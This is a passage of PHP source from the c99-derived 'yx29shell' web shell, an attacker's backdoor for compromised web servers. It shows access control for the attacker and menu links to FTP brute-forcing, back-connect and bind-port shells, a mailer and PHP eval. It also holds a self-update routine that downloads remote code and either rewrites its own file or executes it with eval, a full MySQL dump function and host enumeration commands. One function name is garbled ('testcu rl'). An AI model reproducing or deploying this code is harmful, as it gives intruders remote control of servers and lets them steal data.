http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),
  );
}
else {
  $cmdaliases = array(
    array("", "dir"),
    array("Find index.php in current dir", "dir /s /w /b index.php"),
    array("Find *config*.php in current dir", "dir /s /w /b *config*.php"),
    array("Find c99shell in current dir", "find /c \"c99\" *"),
    array("Find r57shell in current dir", "find /c \"r57\" *"),
    array("Show active connections", "netstat -an"),
    array("Show running services", "net start"),
    array("User accounts", "net user"),
    array("Show computers", "net view"),
```

```
    );
}
//PHP Filesystem Functions, FaTaLisTiCz_yx TriCkz
$phpfsaliases = array(
    array("Read File", "read"),
    array("Write File (PHP5)", "write"),
    array("Copy", "copy"),
    array("Rename/Move", "rename"),
    array("Delete", "delete"),
    array("Make Dir","mkdir"),
    array("-----", ""),
    array("Download", "download"),
    array("Download (Binary Safe)", "downloadbin"),
    array("Change Perm (0755)", "chmod"),
    array("Find Writable Dir", "fwritabledir"),
    array("Find Pathname Pattern", "glob"),
);

//Quick launch
$quicklaunch1 = array(
    array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" border=\"0\">",$surl),
    array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" border=\"0\">","#\"
onclick=\"history.back(1)"),
    array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" border=\"0\">","#\"
onclick=\"history.go(1)"),
    array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\"
border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
    array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\"
border=\"0\">",$surl."act=search&d=%d"),
    array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\"
border=\"0\">",$surl."act=fsbuff&d=%d")
);
$quicklaunch2 = array(
    array("Enumerate",$enumerate),
    array("Security Info",$surl."act=security&d=%d"),
    array("Processes",$surl."act=processes&d=%d"),
    array("MySQL",$surl."act=sql&d=%d"),
    array("PHP-Code",$surl."act=eval&d=%d"),
    array("Encoder",$surl."act=encoder&d=%d"),
```

```
    array("Mailer",$surl."act=yxmailer"),
    array("milw0rm it!",$millink),
    array("Md5-Lookup","http://darkc0de.com/database/md5lookup.html"),
    array("Word-Lists","http://darkc0de.com/wordlists/"),
    array("Toolz",$surl."act=tools&d=%d"),
    array("Self-Kill",$surl."act=selfremove"),
    array("Feedback",$surl."act=feedback"),
    array("Update",$surl."act=update"),
    array("About",$surl."act=about")
);

if (!$win) {
$quicklaunch2[] = array("<br>FTP-Brute",$surl."act=ftpquickbrute&d=%d");
$quicklaunch2[] = array("Backdoor",$surl."act=shbd");
$quicklaunch2[] = array("Back-Connect",$surl."act=backc");
}

//Highlight-code colors
$highlight_background = "#C0C0C0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";

@$f = $_REQUEST["f"];
@extract($_REQUEST["c99shcook"]);
//END OF CONFIGURATIONS

//STOP EDITING!

//Authentication
@set_time_limit(0);
$tmp = array();
foreach ($host_allow as $k=>$v) { $tmp[] = str_replace("\\*",".*",preg_quote($v)); }
$s = "^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and
!preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {
```

```
  exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host
(".getenv("REMOTE_ADDR").") not allowed");
}
if (!empty($login)) {
  if (empty($md5_pass)) {$md5_pass = md5($pass);}
  if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) !=
$md5_pass)) {
    header("WWW-Authenticate: Basic realm=\"".$sh_name.": ".$login_txt."\"");
    header("HTTP/1.0 401 Unauthorized");
    exit($accessdeniedmess);
  }
}
if ($act != "img") {
  $lastdir = realpath(".");
  chdir($curdir);
  if ($selfwrite or $updatenow) {
    @ob_clean();
    c99sh_getupdate($selfwrite,1);
    exit;
  }
  $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  if (!is_array($sess_data)) {$sess_data = array();}
  if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  if (!function_exists("c99getsource")) {
    function c99getsource($fn) {
      global $c99sh_sourcesurl;
      $array = array(
        "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
        "c99sh_bindport.c" => "c99sh_bindport_c.txt",
        "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
        "c99sh_backconn.c" => "c99sh_backconn_c.txt",
        "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
        "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
      );
      $name = $array[$fn];
      if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
      else {return FALSE;}
    }
```

```
  }
  if (!function_exists("c99sh_getupdate")) {
    function c99sh_getupdate($update = TRUE) {
      $url = $GLOBALS["c99sh_updateurl"]."?
version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".
($updatenow?"1":"0");
      $data = @file_get_contents($url);
      if (!$data) {return "Can't connect to update-server!";}
      else {
        $data = ltrim($data);
        $string = substr($data,3,ord($data{2}));
        if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
        if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
        if ($data{0} == "\x99" and $data{1} == "\x03") {
          $string = explode("|",$string);
          if ($update) {
            $confvars = array();
            $sourceurl = $string[0];
            $source = file_get_contents($sourceurl);
            if (!$source) {return "Can't fetch update!";}
            else {
              $fp = fopen(__FILE__,"w");
              if (!$fp) {return "Local error: can't write update to ".__FILE__." You may download
yx29shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";}
              else {
                fwrite($fp,$source);
                fclose($fp);
                return "Thanks! Update completed.";
              }
            }
          }
          else {return "New version are available: ".$string[1];}
        }
        elseif ($data{0} == "\x99" and $data{1} == "\x04") {
          eval($string);
          return 1;
        }
        else {return "Error in protocol: segmentation failed! (".$data.") ";}
      }
```

```
    }
  }
  if (!function_exists("c99_buff_prepare")) {
    function c99_buff_prepare() {
      global $sess_data;
      global $act;
      foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] =
str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
      foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] =
str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
      $sess_data["copy"] = array_unique($sess_data["copy"]);
      $sess_data["cut"] = array_unique($sess_data["cut"]);
      sort($sess_data["copy"]);
      sort($sess_data["cut"]);
      if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v)
{unset($sess_data["copy"][$k]); }}}
      else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v)
{unset($sess_data["cut"][$k]);}}}
    }
  }
  c99_buff_prepare();
  if (!function_exists("c99_sess_put")) {
    function c99_sess_put($data) {
      global $sess_cookie;
      global $sess_data;
      c99_buff_prepare();
      $sess_data = $data;
      $data = serialize($data);
      setcookie($sess_cookie,$data);
    }
  }
  foreach (array("sort","sql_sort") as $v) {
    if (!empty($_GET[$v])) {$$v = $_GET[$v];}
    if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  }
  if ($sort_save) {
    if (!empty($sort)) {setcookie("sort",$sort);}
    if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  }
```

```
 if (!function_exists("str2mini")) {
  function str2mini($content,$len) {
   if (strlen($content) > $len) {
    $len = ceil($len/2) - 2;
    return substr($content, 0,$len)."...".substr($content,-$len);
   } else {return $content;}
  }
 }
 if (!function_exists("view_size")) {
  function view_size($size) {
   if (!is_numeric($size)) { return FALSE; }
   else {
    if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
    elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
    elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
    else {$size = $size . " B";}
    return $size;
   }
  }
 }
 if (!function_exists("fs_copy_dir")) {
  function fs_copy_dir($d,$t) {
   $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
   $h = opendir($d);
   while (($o = readdir($h)) !== FALSE) {
    if (($o != ".") and ($o != "..")) {
     if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret =
copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
     else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o);
fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
     if (!$ret) {return $ret;}
    }
   }
   closedir($h);
   return TRUE;
  }
 }
 if (!function_exists("fs_copy_obj")) {
```

```
  function fs_copy_obj($d,$t) {
    $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
    $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
    if (!is_dir(dirname($t))) {mkdir(dirname($t));}
    if (is_dir($d)) {
      if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
      if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
      return fs_copy_dir($d,$t);
    }
    elseif (is_file($d)) { return copy($d,$t); }
    else { return FALSE; }
  }
 }
 if (!function_exists("fs_move_dir")) {
  function fs_move_dir($d,$t) {
    $h = opendir($d);
    if (!is_dir($t)) {mkdir($t);}
    while (($o = readdir($h)) !== FALSE) {
      if (($o != ".") and ($o != "..")) {
        $ret = TRUE;
        if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret =
copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
        else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and
fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret =
FALSE;}}
        if (!$ret) {return $ret;}
      }
    }
    closedir($h);
    return TRUE;
  }
 }
 if (!function_exists("fs_move_obj")) {
  function fs_move_obj($d,$t) {
    $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
    $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
    if (is_dir($d)) {
      if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
      if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
```

```
      return fs_move_dir($d,$t);
    }
    elseif (is_file($d)) {
      if(copy($d,$t)) {return unlink($d);}
      else {unlink($t); return FALSE;}
    }
    else {return FALSE;}
  }
}
if (!function_exists("fs_rmdir")) {
  function fs_rmdir($d) {
    $h = opendir($d);
    while (($o = readdir($h)) !== FALSE) {
      if (($o != ".") and ($o != "..")) {
        if (!is_dir($d.$o)) {unlink($d.$o);}
        else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
      }
    }
    closedir($h);
    rmdir($d);
    return !is_dir($d);
  }
}
if (!function_exists("fs_rmobj")) {
  function fs_rmobj($o) {
    $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
    if (is_dir($o)) {
      if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
      return fs_rmdir($o);
    }
    elseif (is_file($o)) {return unlink($o);}
    else {return FALSE;}
  }
}
if (!function_exists("tabsort")) {
  function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}
}
if (!function_exists("view_perms")) {
  function view_perms($mode) {
```

```
    if (($mode & 0xC000) === 0xC000) {$type = "s";}
    elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
    elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
    elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
    elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
    elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
    elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
    else {$type = "?";}
    $owner["read"] = ($mode & 00400)?"r":"-";
    $owner["write"] = ($mode & 00200)?"w":"-";
    $owner["execute"] = ($mode & 00100)?"x":"-";
    $group["read"] = ($mode & 00040)?"r":"-";
    $group["write"] = ($mode & 00020)?"w":"-";
    $group["execute"] = ($mode & 00010)?"x":"-";
    $world["read"] = ($mode & 00004)?"r":"-";
    $world["write"] = ($mode & 00002)? "w":"-";
    $world["execute"] = ($mode & 00001)?"x":"-";
    if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
    if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
    if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
    return $type.join("",$owner).join("",$group).join("",$world);
   }
  }
  if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function
posix_getpwuid($uid) {return FALSE;}}
  if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function
posix_getgrgid($gid) {return FALSE;}}
  if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function
posix_kill($gid) {return FALSE;}}
  if (!function_exists("parse_perms")) {
   function parse_perms($mode) {
    if (($mode & 0xC000) === 0xC000) {$t = "s";}
    elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
    elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
    elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
    elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
    elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
    elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
    else {$t = "?";}
```

```
    $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100)
> 0;
    $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010)
> 0;
    $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode &
00001) > 0;
    return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
   }
  }
  if (!function_exists("parsesort")) {
   function parsesort($sort) {
    $one = intval($sort);
    $second = substr($sort,-1);
    if ($second != "d") {$second = "a";}
    return array($one,$second);
   }
  }
  if (!function_exists("view_perms_color")) {
   function view_perms_color($o) {
    if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
    elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
    else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
   }
  }
  if (!function_exists("mysql_dump")) {
   function mysql_dump($set) {
    global $sh_ver;
    $sock = $set["sock"];
    $db = $set["db"];
    $print = $set["print"];
    $nl2br = $set["nl2br"];
    $file = $set["file"];
    $add_drop = $set["add_drop"];
    $tabs = $set["tabs"];
    $onlytabs = $set["onlytabs"];
    $ret = array();
    $ret["err"] = array();
    if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
    if (empty($db)) {$db = "db";}
```

```
    if (empty($print)) {$print = 0;}
    if (empty($nl2br)) {$nl2br = 0;}
    if (empty($add_drop)) {$add_drop = TRUE;}
    if (empty($file)) {
      $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
    }
    if (!is_array($tabs)) {$tabs = array();}
    if (empty($add_drop)) {$add_drop = TRUE;}
    if (sizeof($tabs) == 0) {
      //Retrieve tables-list
      $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
      if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] =
$row[0];}}
    }
    $out = "
    # Dumped by ".$sh_name."
    #
    # Host settings:
    # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")."
(".getenv("SERVER_NAME").")"."
    # Date: ".date("d.m.Y H:i:s")."
    # DB: \"".$db."\"
    #--------------------------------------------------------";
    $c = count($onlytabs);
    foreach($tabs as $tab) {
      if ((in_array($tab,$onlytabs)) or (!$c)) {
        if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
        //Receieve query for create table structure
        $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
        if (!$res) {$ret["err"][] = mysql_smarterror();}
        else {
          $row = mysql_fetch_row($res);
          $out .= $row["1"].";\n\n";
          //Receieve table variables
          $res = mysql_query("SELECT * FROM `$tab`", $sock);
          if (mysql_num_rows($res) > 0) {
            while ($row = mysql_fetch_assoc($res)) {
              $keys = implode("`, `", array_keys($row));
              $values = array_values($row);
```

```
            foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
            $values = implode("', '", $values);
            $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
            $out .= $sql;
           }
         }
       }
     }
    $out .= "#--------------------------------------------------------------------------------\n\n";
    if ($file) {
      $fp = fopen($file, "w");
      if (!$fp) {$ret["err"][] = 2;}
      else {
        fwrite ($fp, $out);
        fclose ($fp);
      }
    }
    if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
    return $out;
  }
}
if (!function_exists("mysql_buildwhere")) {
  function mysql_buildwhere($array,$sep=" and",$functs=array()) {
    if (!is_array($array)) {$array = array();}
    $result = "";
    foreach($array as $k=>$v) {
      $value = "";
      if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
      $value .= "'".addslashes($v)."'";
      if (!empty($functs[$k])) {$value .= ")";}
      $result .= "`".$k."` = ".$value.$sep;
    }
    $result = substr($result,0,strlen($result)-strlen($sep));
    return $result;
  }
}
if (!function_exists("mysql_fetch_all")) {
  function mysql_fetch_all($query,$sock) {
```

```
    if ($sock) {$result = mysql_query($query,$sock);}
    else {$result = mysql_query($query);}
    $array = array();
    while ($row = mysql_fetch_array($result)) {$array[] = $row;}
    mysql_free_result($result);
    return $array;
   }
  }
  if (!function_exists("mysql_smarterror")) {
   function mysql_smarterror($type,$sock) {
    if ($sock) {$error = mysql_error($sock);}
    else {$error = mysql_error();}
    $error = htmlspecialchars($error);
    return $error;
   }
  }
  if (!function_exists("mysql_query_form")) {
   function mysql_query_form() {
    global
$submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
    if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error)
{$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
    if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
    if ((!$submit) or ($sql_act)) {
     echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if
(($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":
</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."
</textarea><br><br><input type=hidden name=act value=sql><input type=hidden
name=sql_act value=query><input type=hidden name=sql_tbl
value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input
type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit
name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
     if ($tbl_struct) {
      echo "<td valign=\"top\"><b>Fields:</b><br>";
      foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\"
onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a>
<br>";}
      echo "</td></tr></table>";
     }
```

```
    }
    if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  }
}
if (!function_exists("mysql_create_db")) {
  function mysql_create_db($db,$sock="") {
    $sql = "CREATE DATABASE `".addslashes($db)."`;";
    if ($sock) {return mysql_query($sql,$sock);}
    else {return mysql_query($sql);}
  }
}
if (!function_exists("mysql_query_parse")) {
  function mysql_query_parse($query) {
    $query = trim($query);
    $arr = explode (" ",$query);
    $types = array(
      "SELECT"=>array(3,1),
      "SHOW"=>array(2,1),
      "DELETE"=>array(1),
      "DROP"=>array(1)
    );
    $result = array();
    $op = strtoupper($arr[0]);
    if (is_array($types[$op])) {
      $result["propertions"] = $types[$op];
      $result["query"]  = $query;
      if ($types[$op] == 2) {
        foreach($arr as $k=>$v) {
          if (strtoupper($v) == "LIMIT") {
            $result["limit"] = $arr[$k+1];
            $result["limit"] = explode(",",$result["limit"]);
            if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
            unset($arr[$k],$arr[$k+1]);
          }
        }
      }
    }
    else {return FALSE;}
  }
```

```
  }
  if (!function_exists("c99fsearch")) {
    function c99fsearch($d) {
      global $found;
      global $found_d;
      global $found_f;
      global $search_i_f;
      global $search_i_d;
      global $a;
      if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
      $h = opendir($d);
      while (($f = readdir($h)) !== FALSE) {
        if($f != "." && $f != "..") {
          $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) ||
($a["name_regexp"] and ereg($a["name"],$f));
          if (is_dir($d.$f)) {
            $search_i_d++;
            if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
            if (!is_link($d.$f)) {c99fsearch($d.$f);}
          }
          else {
            $search_i_f++;
            if ($bool) {
              if (!empty($a["text"])) {
                $r = @file_get_contents($d.$f);
                if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
                if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
                if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
                else {$bool = strpos(" ".$r,$a["text"],1);}
                if ($a["text_not"]) {$bool = !$bool;}
                if ($bool) {$found[] = $d.$f; $found_f++;}
              }
              else {$found[] = $d.$f; $found_f++;}
            }
          }
        }
      }
      closedir($h);
    }
```

```
  }
  if ($act == "gofile") {
    if (is_dir($f)) { $act = "ls"; $d = $f; }
    else { $act = "f"; $d = dirname($f); $f = basename($f); }
  }
  //Sending Headers
  @ob_start();
  @ob_implicit_flush(0);
  function onphpshutdown() {
    global $gzipencode,$ft;
    if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
      $v = @ob_get_contents();
      @ob_end_clean();
      @ob_start("ob_gzHandler");
      echo $v;
      @ob_end_flush();
    }
  }
  function c99shexit() {
    onphpshutdown();
    exit;
  }
  header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  header("Cache-Control: no-store, no-cache, must-revalidate");
  header("Cache-Control: post-check=0, pre-check=0", FALSE);
  header("Pragma: no-cache");
  //Setting Temporary Dir
  if (empty($tmpdir)) {
    $tmpdir = ini_get("upload_tmp_dir");
    if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  }
  $tmpdir = realpath($tmpdir);
  $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .=
DIRECTORY_SEPARATOR;}
  if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  else {$tmpdir_logs = realpath($tmpdir_logs);}
  //Getting Status
```

```
  function showstat($stat) {
    if ($stat=="on") { return "<font color=#00FF00><b>ON</b></font>"; }
    else { return "<font color=#FF9900><b>OFF</b></font>"; }
  }
  function testperl() {
    if (ex('perl -h')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testfetch() {
    if(ex('fetch --help')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testwget() {
    if (ex('wget --help')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testoracle() {
    if (function_exists('ocilogon')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testpostgresql() {
    if (function_exists('pg_connect')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testmssql() {
    if (function_exists('mssql_connect')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testcu rl() {
    if (function_exists('curl_version')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testmysql() {
    if (function_exists('mysql_connect')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function showdisablefunctions() {
    if ($disablefunc=@ini_get("disable_functions")){ return "<font color=#FF9900>
<b>".$disablefunc."</b></font>"; }
```

```
  else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
 }
 //Getting Safe Mode Status
 if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
  $safemode = TRUE;
  $hsafemode = "<font color=#3366FF><b>SAFE MODE is ON (Secure)</b></font>";
 }
 else {
  $safemode = FALSE;
  $hsafemode = "<font color=#FF9900><b>SAFE MODE is OFF (Not Secure)</b></font>";
 }
 $v = @ini_get("open_basedir");
 if ($v or strtolower($v) == "on") {
  $openbasedir = TRUE;
  $hopenbasedir = "<font color=red>".$v."</font>";
 }
 else {
  $openbasedir = FALSE;
  $hopenbasedir = "<font color=green>OFF (not secure)</font>";
 }
 $sort = htmlspecialchars($sort);
 if (empty($sort)) {$sort = $sort_default;}
 $sort[1] = strtolower($sort[1]);
 $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
 if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE))
{$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
 $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a
href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b>
</a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
 @ini_set("highlight.bg",$highlight_bg);
 @ini_set("highlight.comment",$highlight_comment);
 @ini_set("highlight.default",$highlight_default);
 @ini_set("highlight.html",$highlight_html);
 @ini_set("highlight.keyword",$highlight_keyword);
 @ini_set("highlight.string",$highlight_string);
 if (!is_array($actbox)) { $actbox = array(); }
 $dspact = $act = htmlspecialchars($act);
 $disp_fullpath = $ls_arr = $notls = null;
 $ud = urlencode($d);
```

```
  //Directory
  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  if (empty($d)) {$d = realpath(".");}
  elseif(realpath($d)) {$d = realpath($d);}
  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  $d = str_replace("\\\\","\\",$d);
  $dispd = htmlspecialchars($d);
/***** HTML START *****/
echo $html_start;
echo "<div><h3>$sh_name</h3>.: No System is Perfectly Safe :.</div>\n";
echo "<table id=pagebar><tr><td width=50%><p>".
    "Software : ".$DISP_SERVER_SOFTWARE ." - <a href="act=phpini>php.ini</a><br>".
    "$hsafemode<br>".
    "OS : ".php_uname()."<br>";
if (!$win) { echo "User ID : ".myshellexec("id"); }
else { echo "User : " . get_current_user(); }
echo "</p></td>".
    "<td width=50%><p>Server IP : <a
href=http://whois.domaintools.com/".gethostbyname($_SERVER["HTTP_HOST"])."">".gethostb
yname($_SERVER["HTTP_HOST"])."</a> - ".
    "Your IP : <a
href=http://whois.domaintools.com/".$_SERVER["REMOTE_ADDR"]."">".$_SERVER["REMOT
E_ADDR"]."</a><br>";
if($win){echo "Drives : ".disp_drives($d,$surl)."<br>";}
echo "Freespace : ".disp_freespace($d);
echo "</p></td></tr>";
echo "<tr><td colspan=2><p>";
echo "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL:
".testmssql()." PostgreSQL: ".testpostgresql().
    " cURL: ".testcu rl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()."<br>";
echo "Disabled Functions: ".showdisablefunctions();
echo "</p></td></tr>";
echo "<tr><td colspan=2 id=mainmenu>";
if (count($quicklaunch2) > 0) {
  foreach($quicklaunch2 as $item) {
    $item[1] = str_replace("%d",urlencode($d),$item[1]);
    $item[1] = str_replace("%sort",$sort,$item[1]);
    $v = realpath($d."..");
```

```
    if (empty($v)) {
      $a = explode(DIRECTORY_SEPARATOR,$d);
      unset($a[count($a)-2]);
      $v = join(DIRECTORY_SEPARATOR,$a);
    }
    $item[1] = str_replace("%upd",urlencode($v),$item[1]);
    echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
  }
}
echo "</td><tr><td colspan=2 id=mainmenu>";
if (count($quicklaunch1) > 0) {
  foreach($quicklaunch1 as $item) {
    $item[1] = str_replace("%d",urlencode($d),$item[1]);
    $item[1] = str_replace("%sort",$sort,$item[1]);
    $v = realpath($d."..");
    if (empty($v)) {
      $a = explode(DIRECTORY_SEPARATOR,$d);
      unset($a[count($a)-2]);
      $v = join(DIRECTORY_SEPARATOR,$a);
    }
    $item[1] = str_replace("%upd",urlencode($v),$item[1]);
    echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
  }
}
echo "</td></tr><tr><td colspan=2>";
echo "<p>";
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i = 0;
foreach($pd as $b) {
  $t = ""; $j = 0;
  foreach ($e as $r) {
    $t.= $r.DIRECTORY_SEPARATOR;
    if ($j == $i) { break; }
    $j++;
  }
  echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><font
color=yellow>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>";
  $i++;
}
```

```
echo " - ";
if (is_writable($d)) {
  $wd = TRUE;
  $wdt = "<font color=#00FF00>[OK]</font>";
  echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
}
else {
  $wd = FALSE;
